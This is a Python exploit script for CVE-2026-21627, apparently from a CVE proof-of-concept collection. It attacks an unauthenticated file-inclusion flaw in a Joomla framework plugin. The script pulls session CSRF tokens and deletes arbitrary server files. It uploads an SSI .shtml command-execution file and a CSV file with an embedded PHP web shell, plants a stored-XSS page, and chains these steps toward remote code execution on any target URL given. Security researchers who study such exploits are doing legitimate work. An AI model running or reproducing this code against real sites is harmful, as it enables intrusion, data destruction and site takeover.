5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-21627.py PY
#!/usr/bin/env python3
"""
CVE-2026-21627 - Tassos/Novarain Framework (plg_system_nrframework) Exploit
Affects versions 4.10.14 - 6.0.37 on Joomla CMS

Vulnerability: Unauthenticated Arbitrary PHP File Inclusion via ajaxTaskInclude()
The 'include' task in onAjaxNrframework() allows frontend (non-admin) access.
The 'path' parameter uses RAW input filter (no sanitization), enabling arbitrary
PHP file inclusion. Combined with gadget classes (e.g. nrinlinefileupload),
this enables:
  - Arbitrary file delete (onRemove → unlink without path validation)
  - File upload to user-controlled directory (onUpload → base64-decoded upload_folder)
  - Potential RCE via .shtml SSI injection or PHP polyglot upload

Usage:
  python3 cve_2026_21627.py --target https://example.com --mode verify
  python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml
  python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt

Author: Yallasec - [email protected] @arkango - https://yallasec.com 
"""

import argparse
import base64
import json
import re
import sys
import time
import requests
from urllib.parse import urljoin, urlencode, urlparse

# Suppress SSL warnings for self-signed certs
requests.packages.urllib3.disable_warnings()

DELAY = 2.5  # seconds between requests

# --- Color output helpers ---
class C:
    RED = "\033[91m"
    GREEN = "\033[92m"
    YELLOW = "\033[93m"
    BLUE = "\033[94m"
    CYAN = "\033[96m"
    BOLD = "\033[1m"
    RST = "\033[0m"

def info(msg):    print(f"{C.BLUE}[*]{C.RST} {msg}")
def success(msg): print(f"{C.GREEN}[+]{C.RST} {msg}")
def warn(msg):    print(f"{C.YELLOW}[!]{C.RST} {msg}")
def error(msg):   print(f"{C.RED}[-]{C.RST} {msg}")
def banner():
    print(f"""{C.CYAN}{C.BOLD}
  ╔══════════════════════════════════════════════════════╗
  ║  CVE-2026-21627 - nrframework File Include Exploit  ║
  ║  Tassos/Novarain Framework 4.10.14 - 6.0.37        ║
  ╚══════════════════════════════════════════════════════╝{C.RST}
""")


class NRFrameworkExploit:
    """Exploit for CVE-2026-21627 arbitrary file inclusion in nrframework."""

    # Gadget: nrinlinefileupload has onAjax() with file upload and delete
    GADGET_PATH = "plugins/system/nrframework/fields/"
    GADGET_FILE = "nrinlinefileupload"
    GADGET_CLASS = "JFormFieldNRInlineFileUpload"

    def __init__(self, target, sef_prefix="/it/", delay=DELAY, proxy=None, verify_ssl=False):
        self.target = target.rstrip("/")
        self.sef_prefix = sef_prefix
        self.delay = delay
        self.verify_ssl = verify_ssl
        self.session = requests.Session()
        self.session.verify = verify_ssl
        if proxy:
            self.session.proxies = {"http": proxy, "https": proxy}
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
        })
        self.csrf_token = None
        self.base_url = None  # will be set after auth

    def _sleep(self):
        """Rate limiting between requests."""
        time.sleep(self.delay)

    def authenticate(self):
        """
        Establish a Joomla session and extract the matching CSRF token.

        Joomla creates session cookies lazily - not on the homepage, but on
        specific requests. We trigger session creation by probing the AJAX
        endpoint, then re-fetch the homepage WITH the session cookie to get
        a CSRF token that matches this session.
        """
        # Build base AJAX URL using Joomla's SEF format
        self.base_url = self.target + self.sef_prefix + "component/ajax/"

        # Step 1: Visit homepage to get load-balancer/ADC cookies
        info("Step 1/3: Fetching initial cookies from homepage...")
        url = self.target + self.sef_prefix
        try:
            self.session.get(url, timeout=30, allow_redirects=True)
        except requests.RequestException as e:
            error(f"Cannot reach target: {e}")
            return False

        self._sleep()

        # Step 2: Probe the AJAX endpoint to trigger Joomla session creation
        info("Step 2/3: Triggering Joomla session creation...")
        try:
            self.session.get(
                self.base_url,
                params={"format": "raw", "plugin": "nrframework"},
                timeout=30,
                allow_redirects=True,
            )
        except requests.RequestException:
            pass  # We just need the Set-Cookie header

        self._sleep()

        # Step 3: Re-visit homepage WITH session cookie to get matching CSRF
        info("Step 3/3: Extracting session-bound CSRF token...")
        try:
            resp = self.session.get(url, timeout=30, allow_redirects=True)
        except requests.RequestException as e:
            error(f"Cannot reach target: {e}")
            return False

        # Extract CSRF token from Joomla's csrf.token JS variable
        m = re.search(r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', resp.text)
        if not m:
            m = re.search(r'<input[^>]+name="([a-f0-9]{32})"[^>]+value="1"', resp.text)
        if not m:
            error("Could not extract CSRF token from homepage")
            return False

        self.csrf_token = m.group(1)

        # Show session info
        joomla_cookie = None
        for name, value in self.session.cookies.items():
            if len(name) == 32 and all(c in '0123456789abcdef' for c in name):
                joomla_cookie = (name, value)
                break

        if joomla_cookie:
            success(f"Joomla session: {joomla_cookie[0]}={joomla_cookie[1][:16]}...")
        else:
            warn("No Joomla session cookie detected (using ADC cookies only)")

        success(f"CSRF token: {self.csrf_token}")
        return True

    def _build_include_params(self, extra_params=None):
        """
        Build the query parameters for the ajaxTaskInclude() exploit.
        This is the core of CVE-2026-21627.
        """
        params = {
            "format": "raw",
            "plugin": "nrframework",
            "task": "include",
            "path": self.GADGET_PATH,
            "file": self.GADGET_FILE,
            "class": self.GADGET_CLASS,
            self.csrf_token: "1",
        }
        if extra_params:
            params.update(extra_params)
        return params

    def _ajax_request(self, method="GET", params=None, data=None, files=None):
        """
        Send a request to the vulnerable AJAX endpoint.
        Joomla SEF routing may cause 303 redirects with &amp;-encoded Location headers.
        We follow redirects manually, fixing the encoding issue.
        """
        url = self.base_url
        max_redirects = 5

        for attempt in range(max_redirects + 1):
            try:
                if method == "GET":
                    resp = self.session.get(url, params=params, timeout=30, allow_redirects=False)
                else:
                    resp = self.session.post(url, params=params, data=data, files=files, timeout=30, allow_redirects=False)
            except requests.RequestException as e:
                error(f"Request failed: {e}")
                return None

            # Follow redirects manually, fixing &amp; encoding
            if resp.status_code in (301, 302, 303, 307, 308):
                location = resp.headers.get("Location", "")
                if not location:
                    break
                # Fix Joomla's &amp; encoding in redirect URLs
                location = location.replace("&amp;", "&")
                # Make absolute if relative
                if location.startswith("/"):
                    parsed = urlparse(self.target)
                    location = f"{parsed.scheme}://{parsed.netloc}{location}"

                info(f"Following redirect ({resp.status_code}) → {location[:120]}...")
                # For 303, switch to GET and drop body/files
                if resp.status_code == 303:
                    method = "GET"
                    data = None
                    files = None
                url = location
                params = None  # params are now in the redirect URL
                time.sleep(0.5)
                continue

            break

        self._sleep()
        return resp

    # ──────────────────────────────────────────────
    # MODE: verify
    # ──────────────────────────────────────────────
    def verify(self):
        """
        Verify the vulnerability exists by triggering the include chain.
        Expected: the gadget class is loaded and onAjax() executes,
        returning a JSON response instead of FILE_ERROR/CLASS_ERROR/METHOD_ERROR.
        """
        info("Verifying CVE-2026-21627 (arbitrary file inclusion)...")
        params = self._build_include_params()
        resp = self._ajax_request("GET", params=params)

        if resp is None:
            error("No response received")
            return False

        body = resp.text.strip()
        status = resp.status_code

        info(f"HTTP {status} | Response length: {len(body)} | Body: {body[:200]}")

        # Check for error signatures from ajaxTaskInclude
        if body == "FILE_ERROR":
            error("FILE_ERROR - gadget file not found at expected path")
            warn("The plugin may be installed at a different path or version differs")
            return False
        elif body == "CLASS_ERROR":
            error("CLASS_ERROR - file included but class not found")
            return False
        elif body == "METHOD_ERROR":
            error("METHOD_ERROR - class found but onAJAX method missing")
            return False

        # If we get a JSON response or any other response, the chain executed
        if "error" in body.lower() or "response" in body.lower() or "upload" in body.lower():
            success("VULNERABLE! Gadget class instantiated and onAjax() executed")
            success(f"Response: {body[:300]}")
            return True

        # Any non-error response means the include chain worked
        if status == 200 and body not in ("FILE_ERROR", "CLASS_ERROR", "METHOD_ERROR"):
            success("VULNERABLE! File inclusion chain executed successfully")
            success(f"Response: {body[:300]}")
            return True

        warn(f"Unexpected response (HTTP {status}): {body[:200]}")
        return False

    # ──────────────────────────────────────────────
    # MODE: delete (arbitrary file delete)
    # ──────────────────────────────────────────────
    def delete_file(self, file_path):
        """
        Exploit the onRemove() method in JFormFieldNRInlineFileUpload
        to delete an arbitrary file on the server.

        The onRemove() code:
            if (file_exists($file)) { unlink($file); }

        No path validation is performed.
        """
        info(f"Attempting to delete file: {file_path}")
        warn("This is a DESTRUCTIVE operation!")

        params = self._build_include_params({
            "action": "remove",
            "remove_file": file_path,
        })

        resp = self._ajax_request("GET", params=params)
        if resp is None:
            error("No response received")
            return False

        body = resp.text.strip()
        info(f"HTTP {resp.status_code} | Response: {body[:300]}")

        try:
            data = json.loads(body)
            if data.get("error") is False:
                success(f"File deletion succeeded: {file_path}")
                return True
            else:
                warn(f"Server response: {data.get('response', 'unknown')}")
        except json.JSONDecodeError:
            warn(f"Non-JSON response: {body[:200]}")

        return False

    # ──────────────────────────────────────────────
    # MODE: upload (file upload to controlled dir)
    # ──────────────────────────────────────────────
    def upload_file(self, shell_type="shtml", upload_dir="images", custom_content=None):
        """
        Exploit the onUpload() method in JFormFieldNRInlineFileUpload
        to upload a file to a user-controlled directory.

        The upload_folder is base64-decoded from user input.
        Allowed MIME types: text/plain, text/csv
        Allowed extensions (for text/plain): csv, txt, shtml, html, log, etc.

        RCE strategies:
        - shtml: Upload .shtml with SSI <!--#exec cmd="..." --> (requires mod_include)
        - csv:   Upload .csv with PHP polyglot (requires PHP config to parse .csv)
        - txt:   Upload .txt for info disclosure / proof of write
        """
        # Encode the upload directory in base64
        upload_folder_b64 = base64.b64encode(upload_dir.encode()).decode()

        # Check if base64 contains chars stripped by Joomla's CMD filter (+, /, =)
        unsafe_chars = set(upload_folder_b64) & set("+/=")
        if unsafe_chars:
            warn(f"Upload dir '{upload_dir}' encodes to base64 with unsafe chars: {unsafe_chars}")
            warn("Joomla's CMD filter may strip these. Try a simpler directory name.")
            # Strip padding = since base64_decode in PHP handles missing padding
            upload_folder_b64 = upload_folder_b64.rstrip("=")
            remaining_unsafe = set(upload_folder_b64) & set("+/")
            if remaining_unsafe:
                error(f"Cannot encode path without +/: {upload_folder_b64}")
                return None

        info(f"Upload directory: {upload_dir} (base64: {upload_folder_b64})")

        # Prepare the shell content based on type
        if custom_content:
            content = custom_content
            filename = f"test.{shell_type}"
        elif shell_type == "shtml":
            # IMPORTANT: No HTML tags! mime_content_type() detects <html>/<script> as text/html.
            # Pure SSI directives (XML comments) pass as text/plain.
            content = (
                'Server status report\n'
                '<!--#exec cmd="id" -->\n'
                '<!--#exec cmd="uname -a" -->\n'
                '<!--#exec cmd="cat /etc/hostname" -->\n'
            )
            filename = "server-status.shtml"
            info("Shell type: SHTML (Server-Side Includes)")
            info("Requires: Apache mod_include enabled")
        elif shell_type == "csv":
            # PHP polyglot disguised as CSV
            # Starts with valid CSV to fool MIME detection
            content = (
                "name,value,description\n"
                "test,1,data export\n"
                "status,ok,verified\n"
                '<?php if(isset($_GET["c"])){system($_GET["c"]);} ?>\n'
            )
            filename = "export-data.csv"
            info("Shell type: CSV with embedded PHP")
            info("Requires: Apache configured to parse PHP in .csv files (unlikely)")
        elif shell_type == "txt":
            content = (
                "CVE-2026-21627 - Proof of arbitrary file write\n"
                f"Target: {self.target}\n"
                f"Timestamp: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n"
                "This file was uploaded via the nrframework file inclusion vulnerability.\n"
            )
            filename = "pentest-proof.txt"
            info("Shell type: TXT (proof of file write only)")
        elif shell_type == "html":
            # HTML file - useful for stored XSS proof
            content = (
                "<html><head><title>Security Test</title></head><body>\n"
                "<h1>CVE-2026-21627 - Proof of Concept</h1>\n"
                "<p>This file was uploaded via the nrframework vulnerability.</p>\n"
                f"<p>Target: {self.target}</p>\n"
                "<script>document.write('XSS: '+document.domain)</script>\n"
                "</body></html>\n"
            )
            filename = "security-test.html"
            info("Shell type: HTML (stored XSS proof)")
        else:
            error(f"Unknown shell type: {shell_type}")
            return None

        # MIME type for the upload
        mime_map = {
            "shtml": "text/plain",
            "csv": "text/csv",
            "txt": "text/plain",
            "html": "text/plain",
        }
        mime_type = mime_map.get(shell_type, "text/plain")

        info(f"Uploading: {filename} ({len(content)} bytes, MIME: {mime_type})")

        # Build the multipart POST request
        # The AJAX endpoint params go in the query string
        params = self._build_include_params({
            "upload_folder": upload_folder_b64,
        })

        # The file goes as multipart form data
        files = {
            "file": (filename, content.encode(), mime_type)
        }

        resp = self._ajax_request("POST", params=params, files=files)
        if resp is None:
            error("No response received")
            return None

        body = resp.text.strip()
        info(f"HTTP {resp.status_code} | Response: {body[:500]}")

        try:
            data = json.loads(body)
            if data.get("error") is False:
                file_b64 = data.get("file", "")
                file_name_b64 = data.get("file_name", "")
                uploaded_path = base64.b64decode(file_b64).decode() if file_b64 else "unknown"
                uploaded_name = base64.b64decode(file_name_b64).decode() if file_name_b64 else "unknown"

                success(f"FILE UPLOADED SUCCESSFULLY!")
                success(f"Server path: {uploaded_path}")
                success(f"Filename: {uploaded_name}")
                success(f"File size: {data.get('file_size', 'unknown')}")

                # Construct the URL to access the uploaded file
                access_url = f"{self.target}/{upload_dir}/{uploaded_name}"
                success(f"Access URL: {access_url}")

                if shell_type == "shtml":
                    info("Checking if SSI is enabled by accessing the uploaded file...")
                    self._sleep()
                    try:
                        check = self.session.get(access_url, timeout=15)
                        if "uid=" in check.text:
                            success("RCE CONFIRMED via SSI! Command output:")
                            print(f"\n{C.GREEN}{check.text}{C.RST}\n")
                        elif "<!--#exec" in check.text:
                            warn("SSI directives not processed - mod_include likely disabled")
                            info(f"File is accessible at: {access_url}")
                        else:
                            info(f"Response from uploaded file:\n{check.text[:500]}")
                    except requests.RequestException as e:
                        warn(f"Could not access uploaded file: {e}")

                elif shell_type == "html":
                    info(f"Access the stored XSS at: {access_url}")

                return {
                    "path": uploaded_path,
                    "name": uploaded_name,
                    "url": access_url,
                    "size": data.get("file_size"),
                }
            else:
                error(f"Upload failed: {data.get('response', 'unknown error')}")
                if "unsafe" in str(data.get("response", "")).lower():
                    warn("Joomla's isSafeFile() blocked the upload")
                    warn("The file content was flagged as potentially dangerous")
                elif "mime" in str(data.get("response", "")).lower() or "type" in str(data.get("response", "")).lower():
                    warn("MIME type or extension validation failed")
                elif "Invalid" in str(data.get("response", "")):
                    warn("File validation failed - check allowed MIME types")
        except json.JSONDecodeError:
            if body in ("FILE_ERROR", "CLASS_ERROR", "METHOD_ERROR"):
                error(f"Include chain failed: {body}")
            else:
                warn(f"Non-JSON response: {body[:300]}")

        return None

    # ──────────────────────────────────────────────
    # MODE: rce (chained attack for RCE)
    # ──────────────────────────────────────────────
    def rce_chain(self, cmd="id"):
        """
        Attempt full RCE chain:
        1. Upload .shtml shell to images/
        2. If SSI works, execute commands
        3. If not, try .csv polyglot approach
        4. Report results
        """
        info("Starting RCE chain exploit...")
        print()

        # Step 1: Try SHTML (SSI) approach
        info("=== Phase 1: SSI via .shtml upload ===")
        shtml_content = (
            f'<!--#exec cmd="{cmd}" -->\n'
        )
        result = self.upload_file(
            shell_type="shtml",
            upload_dir="images",
            custom_content=shtml_content
        )

        if result:
            access_url = result["url"]
            info(f"Checking RCE at {access_url}...")
            self._sleep()
            try:
                resp = self.session.get(access_url, timeout=15)
                body = resp.text.strip()
                # If SSI processed, the <!--#exec --> tags would be replaced
                if "<!--#exec" not in body and len(body) > 0:
                    success(f"RCE via SSI confirmed! Output:")
                    print(f"\n{C.GREEN}{C.BOLD}{body}{C.RST}\n")
                    return {"method": "ssi", "url": access_url, "output": body}
                else:
                    warn("SSI not processed by Apache")
            except requests.RequestException as e:
                warn(f"Could not access file: {e}")
        print()

        # Step 2: Try proof-of-write with .txt
        info("=== Phase 2: Proof of arbitrary file write ===")
        result = self.upload_file(shell_type="txt", upload_dir="images")
        if result:
            success("Arbitrary file write confirmed - file uploaded to web root")
            info("While direct PHP RCE is blocked by MIME validation,")
            info("the file write primitive can be chained with:")
            info("  - .htaccess overwrite (via file delete + upload)")
            info("  - SSI injection if mod_include is enabled")
            info("  - Stored XSS via .html upload")
            return {"method": "file_write", "url": result.get("url"), "output": "proof of write"}

        error("All RCE attempts failed")
        warn("The vulnerability is still confirmed for file inclusion and file delete")
        return None

    # ──────────────────────────────────────────────
    # MODE: info (include other PHP files for recon)
    # ──────────────────────────────────────────────
    def info_disclosure(self, php_path, php_file, php_class):
        """
        Use the arbitrary file inclusion to include and instantiate
        any PHP class that has an onAJAX() method.
        """
        info(f"Including: {php_path}{php_file}.php (class: {php_class})")
        params = {
            "format": "raw",
            "plugin": "nrframework",
            "task": "include",
            "path": php_path,
            "file": php_file,
            "class": php_class,
            self.csrf_token: "1",
        }
        resp = self._ajax_request("GET", params=params)
        if resp:
            info(f"HTTP {resp.status_code} | {resp.text[:500]}")
        return resp


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-21627 - nrframework Arbitrary File Inclusion Exploit",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Modes:
  verify   - Confirm the vulnerability exists (safe, read-only)
  delete   - Delete an arbitrary file on the server (DESTRUCTIVE)
  upload   - Upload a file to a controlled directory
  rce      - Attempt full RCE chain (upload + execute)
  info     - Include arbitrary PHP file for information disclosure

Examples:
  %(prog)s --target https://example.com --mode verify
  %(prog)s --target https://example.com --mode upload --shell-type shtml
  %(prog)s --target https://example.com --mode upload --shell-type txt --upload-dir images
  %(prog)s --target https://example.com --mode rce --cmd "id"
  %(prog)s --target https://example.com --mode delete --file-path /tmp/testfile.txt
        """
    )

    parser.add_argument("--target", "-t", required=True, help="Target URL (e.g. https://example.com)")
    parser.add_argument("--mode", "-m", required=True, choices=["verify", "delete", "upload", "rce", "info"],
                        help="Exploit mode")
    parser.add_argument("--sef-prefix", default="/it/", help="SEF URL prefix (default: /it/)")
    parser.add_argument("--delay", type=float, default=DELAY, help=f"Delay between requests in seconds (default: {DELAY})")
    parser.add_argument("--proxy", help="HTTP proxy (e.g. http://127.0.0.1:8080)")
    parser.add_argument("--no-ssl-verify", action="store_true", default=True, help="Disable SSL verification")

    # Delete mode options
    parser.add_argument("--file-path", help="[delete mode] Full server path of file to delete")

    # Upload mode options
    parser.add_argument("--shell-type", default="shtml", choices=["shtml", "csv", "txt", "html"],
                        help="[upload mode] Type of file to upload (default: shtml)")
    parser.add_argument("--upload-dir", default="images", help="[upload mode] Upload directory relative to JPATH_ROOT (default: images)")
    parser.add_argument("--custom-content", help="[upload mode] Custom file content to upload")

    # RCE mode options
    parser.add_argument("--cmd", default="id", help="[rce mode] Command to execute (default: id)")

    # Info mode options
    parser.add_argument("--php-path", help="[info mode] PHP file path (relative to JPATH_SITE)")
    parser.add_argument("--php-file", help="[info mode] PHP file name (without .php)")
    parser.add_argument("--php-class", help="[info mode] PHP class to instantiate")

    args = parser.parse_args()

    banner()

    # Initialize exploit
    exploit = NRFrameworkExploit(
        target=args.target,
        sef_prefix=args.sef_prefix,
        delay=args.delay,
        proxy=args.proxy,
        verify_ssl=not args.no_ssl_verify,
    )

    # Step 1: Get session + CSRF
    if not exploit.authenticate():
        error("Authentication failed - cannot extract session/CSRF")
        sys.exit(1)
    print()

    # Step 2: Execute selected mode
    if args.mode == "verify":
        if exploit.verify():
            print(f"\n{C.GREEN}{C.BOLD}[RESULT] Target is VULNERABLE to CVE-2026-21627{C.RST}")
        else:
            print(f"\n{C.RED}[RESULT] Could not confirm vulnerability{C.RST}")

    elif args.mode == "delete":
        if not args.file_path:
            error("--file-path is required for delete mode")
            sys.exit(1)
        warn(f"About to delete: {args.file_path}")
        warn("Press Ctrl+C within 3 seconds to abort...")
        try:
            time.sleep(3)
        except KeyboardInterrupt:
            info("Aborted")
            sys.exit(0)
        exploit.delete_file(args.file_path)

    elif args.mode == "upload":
        exploit.upload_file(
            shell_type=args.shell_type,
            upload_dir=args.upload_dir,
            custom_content=args.custom_content,
        )

    elif args.mode == "rce":
        exploit.rce_chain(cmd=args.cmd)

    elif args.mode == "info":
        if not all([args.php_path, args.php_file, args.php_class]):
            error("--php-path, --php-file, and --php-class are required for info mode")
            sys.exit(1)
        exploit.info_disclosure(args.php_path, args.php_file, args.php_class)


if __name__ == "__main__":
    main()